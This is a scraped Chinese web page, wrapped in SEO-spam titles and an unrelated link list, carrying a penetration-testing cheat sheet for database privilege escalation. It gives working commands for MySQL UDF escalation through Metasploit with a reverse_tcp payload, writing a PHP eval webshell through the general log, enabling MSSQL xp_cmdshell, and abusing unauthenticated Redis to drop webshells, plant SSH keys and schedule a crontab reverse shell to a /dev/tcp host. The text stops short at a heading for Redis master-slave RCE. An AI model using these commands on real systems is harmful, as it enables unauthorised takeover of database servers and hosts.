当前位置: 首页 > wzjs >正文

网站建设策划报告qq群推广

网站建设策划报告,qq群推广,网站排名首页前三位,营销型网站是啥意思Mysql提权 UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限 前提: 1.UDF提权条件 (1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 (2)Mysql…

Mysql提权

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
前提:
1.UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32

(3)掌握的mysql数据库的账号有对mysqlinsertdelete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

(4)可以将udf.dll写入到相应目录的权限。

 secure_file_priv为空
show global variables like 'secure%';当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

提权步骤:获取密码-开启外联-高版本创建目录-MSF导出dll
Mysql版本查询命令

SELECT @@version`、`SELECT  version();

Mysql写马

set global general_log = ON;开启日志
set global general_log_file = "C:/phpstudy_pro/WWW/shell.php"
select '<?php eval($_POST[shell]);?>'

提权方法

select version();//获取数据库版本
select user();//获取数据库用户
select @@basedir ;//获取安装目录
show variables like '%plugins%';  //寻找mysql安装路径
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION; //开启外联

利用MSF的exploit/multi/mysql/mysql_udf_payload导出udf dll文件

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 10.10.10.1 (这里更换了靶机)
run
 
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll

使用方法:

select sys_eval("whoami");//调用函数进行命令执行

MSSQL

1.使用xp_cmdshell进行提权

如果用户拥有管理员sa权限则可以用sp_configure重修开启它
启用xp_cmdshell

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行

EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

Oracle- 普通用户&注入提升模式&DBA模式

1、普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式:(自动化工具演示)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
3、注入提升模式:(Sqlmap测试演示)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

redis

1.利用redis写入webshell
前提条件

  • 可以成功远程连接,并且未作登录验证
  • 知道网站的绝对路径,并且具有写入权限
    连接redis
redis-cli -h 10.0.20.99 
config set dir /opt/lampp/htdocs/temp
config set dbfilename redis.php
set x "\r\n\r\n<?php phpinfo();eval($_POST['shell']);?>"

2 写入SSH公钥

ssh-keygen -t rsa  //生成RSA公私钥
(echo -e "\r\n";cat id_rsa.pub;echo -e "\r\n";) > 1.txt  //将生成的公钥添加换行输出为1.txt
config set dir /root/.ssh  //修改redis路径为ssh的公钥路径
config set dbfilename authorized_keys  //修改文件名
cat /root/.ssh/1.txt | redis-cli -h 192.168.30.103 -x set x
ssh -i id_rsa root@192.168.30.103  //写入公钥文件
ssh -i id_rsa root@192.168.30.103  //成功登录靶机

3.利用crontab反弹shell
redis写入定时计划

config set dir /var/spool/cron  //修改redis路径为crontab的路径
config set dbfilename root  //修改文件名,修改完记得save一下
set x "\r\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.30.102/6666 0>&1\r\n"
//写入定时计划

4.SSRF&Gopher&Redis
如果Redis在内网,无法直接访问,可以通过SSRF访问利用
gopher协议支持发出GET、POST请求:可以先获取get请求包和post请求包,再构成符合gopher协议的请求。
gopher协议格式

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

4.redis主从复制RCE

http://www.dtcms.com/wzjs/234442.html

相关文章:

  • 对网站主要功能界面进行赏析chrome浏览器下载安卓手机
  • wordpress 特殊符号长沙好的seo外包公司
  • 一起做业网站登录微信朋友圈产品推广语
  • 佛山做外贸网站案例我想在百度上发布广告怎么发
  • 网站做第三方登录网上营销怎么做
  • 郑州做网站排名公司哪家好怎么制作属于自己的网址
  • 网络运营和网络营销的区别seo优化一般优化哪些方面
  • wordpress好用的文章编辑器seo标题优化的心得总结
  • 网站做不好一直不交付怎么办整合营销传播理论
  • c 做彩票网站商品推广软文范例300字
  • 六安网站建设网络服务百度词条优化工作
  • phpmysql动态网站开发从入门到精通长春最专业的seo公司
  • 学习网站的设置和网页的发布营销的方法手段有哪些
  • 水墨风格 网站全网热搜榜第一名
  • 网站建设技术参数学市场营销后悔死了
  • 湖南营销型网站建设 真好磐石网络全球最受欢迎的网站排名
  • 罗夫曼三大社区模式福州seo推广优化
  • 怎么用代码做网站整站优化
  • 2022年热点新闻事件网络优化师
  • 用asp.net做购物网站商品标题seo是什么意思
  • 怎样创建网站根目录购物网站网页设计
  • 平原网站建设公司旺道seo
  • 分类网站模版利用搜索引擎营销成功的案例
  • 北京品牌网站建设公司百度推广外推联系方式
  • dedecms本地打开网站郑州seo公司
  • 广东微信网站建设哪家专业品牌宣传策划公司
  • 格力网站建设首页网络推广怎么找客户
  • 电商后台管理网站模板郑州网络营销公司排名
  • 新材建设局网站郑州官网网络营销外包
  • 想做一个网站怎么做百度有什么办法刷排名